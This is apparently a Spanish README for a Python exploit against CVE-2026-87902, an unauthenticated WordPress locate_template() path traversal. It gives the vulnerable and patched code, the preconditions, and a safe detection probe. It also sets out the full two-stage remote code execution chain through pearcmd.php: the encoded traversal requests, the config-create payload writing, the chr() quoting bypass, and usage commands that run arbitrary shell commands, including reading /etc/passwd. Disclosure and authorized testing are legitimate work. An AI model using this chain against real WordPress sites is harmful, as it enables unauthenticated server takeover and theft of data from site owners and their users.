
PoC en Python que explota CVE-2026-87902, un path traversal no autenticado en locate_template() de WordPress que conduce a LFI y RCE basado en PEAR, con modo de detección segura.
Archivo del exploit: exploit_locate_template_rce.py —
Python 3.6+ (stdlib only).
Pipeline en un solo comando: detección segura (diferencial de LFI, sin escritura) →,
si es vulnerable, RCE vía gadget pearcmd.php ejecutando el comando de tu elección
(--command/-c). Usa --validate-only para detenerse antes de la etapa de escritura.
Prueba el CVE-2026-87902 en versiones de WordPress
sin el fix del commit 5fde0bb7 — "Themes: Restrict
path traversal in locate_template()" (WordPress 7.1.2, backports hasta 4.7.37).
| CVE | CVE-2026-87902 (CWE-98, CVSS 4.0 9.2 Critical / v3.1 8.1 High) |
| Advisory | GHSA-7hp8-65ch-5whp |
| Afectadas | WordPress 4.7.0 – 7.1.1 (todas las branches) |
| Fix | 7.1.2, 7.0.6, 6.9.9 … 4.7.37 |
| Fix commit | 5fde0bb7b9775523959094bf280cc54bfa78af51 (merge del changeset 63792) |
| Archivos | wp-includes/template.php (get_page_template(), locate_template(), _wp_is_template_path_allowed()) |
| Autenticación | Ninguna — ningún usuario, cookie, nonce o plugin |
| Créditos | Descubrimiento y disclosure: Robert Ressl |
⚠️ Solo para pruebas autorizadas. Úsalo en entornos que controlas (el lab de abajo es aislado) o con autorización explícita del propietario.
En versiones sin el fix, el encadenamiento get_page_template() → locate_template() →
template-loader nunca garantiza que el template seleccionado permanezca dentro del tema.
Pre-fix (wp-includes/template.php):
// get_page_template(): decode TARDE, sin validate_file()
$pagename_decoded = urldecode( $pagename );
if ( $pagename_decoded !== $pagename ) {
$templates[] = "page-{$pagename_decoded}.php";
}
// locate_template(): solo prueba existencia — ningún confinamiento de ruta
if ( file_exists( $wp_stylesheet_path . '/' . $template_name ) ) {
$located = $wp_stylesheet_path . '/' . $template_name;
break;
}
Post-fix (commit 5fde0bb7):
if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) { ... }
...
if ( _wp_is_template_path_allowed( $candidate ) ) { // realpath + confinamiento
$located = $candidate; // dentro de tema/parent/theme-compat
break;
}
pagename y page_id son query vars públicas — aceptadas en el body de un POST anónimo.
El método POST hace que redirect_canonical() (canonical.php) retorne temprano — solo actúa
en GET/HEAD, así que nada es redirigido.templates%252f%252e%252e%252f...) y sobrevive al
sanitize: WP_Query::get_posts() (l.2191) reescribe el pagename con
sanitize_title_for_query( wp_basename( ... ) ) — wp_basename() no rompe en %2F
(formatting.php l.5768) y el sanitize preserva octetos %XX (l.2395).page_id (l.2252) sobrescribe el WHERE ("$where =", no ".=") — la página real
es cargada, sin 404, y el pagename malicioso permanece en el objeto de query.get_page_template() hace urldecode() tardío y arma page-<traversal>.php
sin validate_file().locate_template() pre-patch solo llama a file_exists() → el include escapa del tema.| # | Precondición | Motivo |
|---|---|---|
| 1 | Página publicada, accesible anónimamente, seleccionable por page_id y sin custom template | La petición debe resolver a una Page; un template custom vendría antes en la jerarquía |
| 2 | Directorio top-level en el tema activo (child o parent) que empiece con page- (ej.: page-templates/) | WP antepone el prefijo fijo page-; es por él que entra el traversal. Basta con que exista y sea traversable (puede estar vacío). Presente en Twenty Twelve/Fourteen, Neve, Hestia, Sydney |
| 3 | Objetivo .php local existente y legible | El loader agrega .php y verifica is_file()/is_readable() |
| 4 | (solo p/ RCE) pearcmd.php legible + register_argc_argv=On + directorio escribible (ej.: /tmp) | Ruta PEAR→RCE: config-create escribe el payload PHP en el servidor |
Tres POSTs anónimos contra la página publicada — sin escritura en disco:
| Petición | pagename | Respuesta esperada (vulnerable) |
|---|---|---|
| A — baseline | — | 200, cuerpo normal (~23 KB) |
| B — control | traversal → archivo inexistente | 200, cuerpo normal (fallback page.php) |
| C — probe | traversal → wp-content/index.php ("Silence is golden") | 200 con cuerpo vacío |
Firma: C vacío + A/B normales ⇒ el include escapó del tema ⇒ VULNERABLE.
La detección recorre automáticamente: directorios de tema candidatos
(page-templates, page-template) × profundidades 1–12.
El resultado (theme-dir + depth) alimenta la etapa RCE.
Con --validate-only el script se detiene aquí (exit 0 si es vulnerable).
pearcmd.php (escritura)Etapa 1 POST /?+config-create+/<payload>+/tmp/wp-pear-rce.php
body: page_id=2&pagename=templates%252f...%252fusr%252flocal%252flib%252fphp%252fpearcmd
→ el traversal incluye /usr/local/lib/php/pearcmd.php
→ argv viene de la query string cruda (register_argc_argv=On)
→ config-create ESCRIBE el payload en /tmp/wp-pear-rce.php (12 copias serializadas)
Etapa 2 POST / body: page_id=2&pagename=templates%252f...%252ftmp%252fwp-pear-rce
→ el mismo traversal incluye el archivo generado → system(<--command>) corre como www-data
Detalles del formato (todas las restricciones son manejadas por el script):
page_id + pagename; la query string carga
exclusivamente el argv del PEAR (?+config-create+<root>+<out>).wp_magic_quotes() (load.php l.1290) aplica
add_magic_quotes($_SERVER) y pearcmd lee el argv de $_SERVER['argv'] — cualquier
comilla se convertiría en \' y rompería el archivo generado. Todo string PHP se vuelve
concatenación chr(): '/tmp' → chr(47).chr(116).chr(109).chr(112).http.client): los bytes crudos +, <, > de la query
string son el argv — nada puede ser re-escrito/re-codificado en el camino.config-create exige root path absoluto — el payload se inyecta como el propio
root (/<php>), prefijado con el marcador ___WP_RCE_OK___ que delimita la salida.pearcmd.php (Docker oficial, Debian/Ubuntu, XAMPP) — ajusta con
--pear-path/--output si es necesario.No hay "upload": el objetivo de la detección es un archivo que todo WordPress trae de fábrica
(wp-content/index.php); el payload del RCE es escrito por el propio servidor vía
gadget PEAR, corriendo como www-data.
# 1) Solo validar la vulnerabilidad (LFI probe, sin escritura)
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --validate-only
# 2) Detección + RCE ejecutando un comando (default: 'id')
python exploit_locate_template_rce.py --url http://127.0.0.1:8080
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --command "id"
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 -c "uname -a; cat /etc/passwd"